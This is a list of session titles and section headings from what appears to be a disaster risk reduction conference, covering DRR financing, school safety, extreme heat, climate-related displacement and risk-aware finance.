What will it take to scale DRR financing solutions at the national and local level?

Ministerial roundtable

Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

Multistakeholder plenary

Investments in reducing risk and building resilience to accelerate investments in sustainable development

Special event on extreme heat

Special session

Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

Thematic Sessions

Catalyzing governance solutions for disaster and climate-related displacement

Side event

Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

IISD’s summary

Innovation and technology for inclusive resilience

Inspiration for us all

Financing resilience is public investment

Integrating disaster risk financing into budgets

Tackling systemic challenges

Incentives for private sector investment

Risk-aware international finance